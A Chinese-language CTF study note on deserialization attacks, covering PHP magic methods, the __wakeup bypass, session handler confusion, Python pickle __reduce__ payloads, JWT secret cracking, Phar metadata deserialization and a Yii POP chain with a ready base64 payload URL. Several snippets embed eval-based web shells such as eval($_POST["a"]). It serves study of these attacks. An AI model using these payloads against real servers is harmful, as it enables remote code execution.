文章目录
反序列化
序列化和反序列化
序列化是什么?
我们在运行程序时变量是存在于内存当中的,为了保存他们,我们可以将其转化为有确定格式的、可传输、可保存的字符串,这个过程称为序列化。它的反过程就成为反序列化。
在PHP当中,此过程的转化方法是
serialize(); //将一个对象转换成一个字符串
unserialize(); //将一个字符串转换成一个对象
通用结构如下,
数据类型:属性名长度:"属性名";数据类型:属性值长度:"属性值"
分割符号是; 结束符号是}
补充:属性名和值的字符可用十六进制编码进行替换,PHP解析器会自动完成其解析过程。
PHP 在反序列化时,对类中不存在的属性会进行反序列化。
反序列化后生成的对象的行为逻辑,要遵循对其进行反序列化的命名空间的内部构造(类、方法、魔术方法),对于不存在的逻辑,是不能进行操作的。因此解题要基于服务器端的脚本包含的类。
魔术方法
__construct()
// 触发条件,构造函数,当构造一个对象时调用。
// 对象创建时销毁
__destruct()
// 触发条件,析构函数,对象销毁时被调用。
// 序列化时会销毁一次,对象销毁时执行
__sleep()
// 在对象被序列化之前运行,序列化输出前运行,但不影响序列化内容
__wakeup()
// 在对象被反序列化之后被调用
// 其功能是为反序列化的对象初始化变量
__unserialize()
// 触发条件,7.4版本以上,反序列化时触发,且可以绕过__wakeup
__invoke()
// 当对象被调用时执行
// 函数形式调用对象时,触发的方法
__tostring()
// 将一个对象作为字符串操作时自动调用,其返回值即为输出。
__call()
// 调用无法调用的函数时,转为调用该方法。
__get()
// 当非公有变量、未定义的属性或没有权限访问的属性被访问时该方法会被调用
__set()
// 给私有变量和未定义的属性赋值时调用该方法
// 写法为set($a,$b);,其执行方式为object->$a = $b; $a是赋值的目标,$b是赋值的来源。
三种类型的变量的表示方法(public,protected,private)
序列化字符串可区分此三种变量,公有、保护、私有
其中protected、private的形式特殊
%00Huihe%00name // %00为不可打印字符,private
%00%2A%00age // %2A 为 * ,protected
一般为了保证他们的正常输出,转为URL编码
urlencode(serialize(new test()))
基本反序列化
破坏__Wakeup失效
反序列化字符串是严格顺序解析的,从其每个变量名和值都要携带相应的长度可以看出,
__wakeup()原理:将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。
用途:当Wakeup方法当中包含的逻辑会影响到我们构造的POC执行的时候,需要对其绕过.
<?php
class xctf{
public $flag = ‘111’;
public function __wakeup(){
exit(‘bad requests’);
}
}
$c = new xctf();
print(serialize($c));
?>
真实的序列化:O:4:”xctf”:1:{s:4:”flag”;s:3:”111″;}
伪造的序列化:O:4:”xctf”:2:{s:4:”flag”;s:3:”111″;}
调整属性数后不能成功的构建一个对象,以此绕过exit(),但是会正常调用__destruct()函数。
反序列化写链
写链的观察方法
其他形式反序列化
SESSION反序列化
Session原理
SESSION简单的存储结构和使用机理
// 开启一个新的或者已有的会话
session_start();
// 以默认的方式保存SESSION
ini_set('session.serialize_handler', 'php');
$user=new User();
$_SESSION['user']=$user;
user|O:4:"User":1:{s:1:"a";s:5:"admin";}
// 以序列化方式存储SESSION
ini_set('session.serialize_handler', 'php_serialize');
$user=new User();
$_SESSION['user']=$user;
a:1:{s:4:"user";O:4:"User":1:{s:1:"a";s:5:"admin";}}
会话保存的键值对被保存到了SESSION当中,SESSION文件被随机化的命名,并保存在了PHP服务器的tmp文件夹下(形式为sess_xxxxxxxxxxx
),在浏览器的应用和存储中,均可以以COOKIE形式查询到,保存为SESSIONID,键值即为服务器上的SESSION文件名。
其反序列化
|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:28:"<?php @eval($_POST["a"]); ?>";s:6:"status";N;}
字符逃逸
博客上还有文章
原理:反序列化严格顺序解析。
条件:出现过滤匹配、替换。
增加型 和 减少型
Python反序列化
练习:ikun
Pickle反序列化
__reduce__() // 类似__wakeup(),在序列化和反序列化时都会执行,但是只能执行一个函数
Pickle的运行机制和PHP不太一样,它可以对不存在的类进行反序列化,它通过序列化字符串储存一些堆栈变量信息和指令,反序列化类似于复原一段内存情况,然后执行。
JWT生成
https://jwt.io/
JWT密钥破解
https://github.com/brendan-rius/c-jwt-cracker
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
构造序列化
python2.7
#!/usr/bin/python
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)
Phar
反序列化
[CISCN2019 华北赛区 Day1 Web1]Dropbox
链子
delete.php => file->file_exsist(phar://xxxx.jpg) => User -> __destruct{$this->db->close()} => Filelist->__call(close,xxx) => File->close(){file_put_contents($this->filename)}
什么是Phar
文件?
Phar
文件,简单说就是php压缩文件,将多个文件归档到同一个文件当中,而且不经过解压就能被PHP访问执行,是一种流包装器,文件包含部分也有涉及。
Phar
结构
stub
phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;manifest
压缩文件的属性等信息,以序列化存储;contents
压缩文件的内容;signature
签名,放在文件末尾;
根据PHP 8.0 版本上的新特性描述,此方法貌似已经失效了,但目前通用的仍是7以下版本,所以此方法仍可用。
<?php
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj(); // 构造对象
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
那么思路是什么呢?
利用Phar
文件,只要是文件标识正确,且对关键的字符无过滤,我们就可以将包含危险函数的类对象的反序列化字符串上传,且文件后缀不影响其执行,所以可以绕过白名单。
此时一些可以接收Phar
流的函数会将其自动解析(phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化),进而执行我们的Payload。
一些受到影响函数,
一些限制
- Phar可传
- 服务器上有该类,且类内有包含危险函数的魔术方法。
- 服务器端有具有自动解析PHAR流功能的文件操作函数。
- 对关键字(PHAR、/、:)无过滤
框架反序列化
命名空间
namespace,变量存储和代码块
看资料积累
Web267 YII
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
hell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19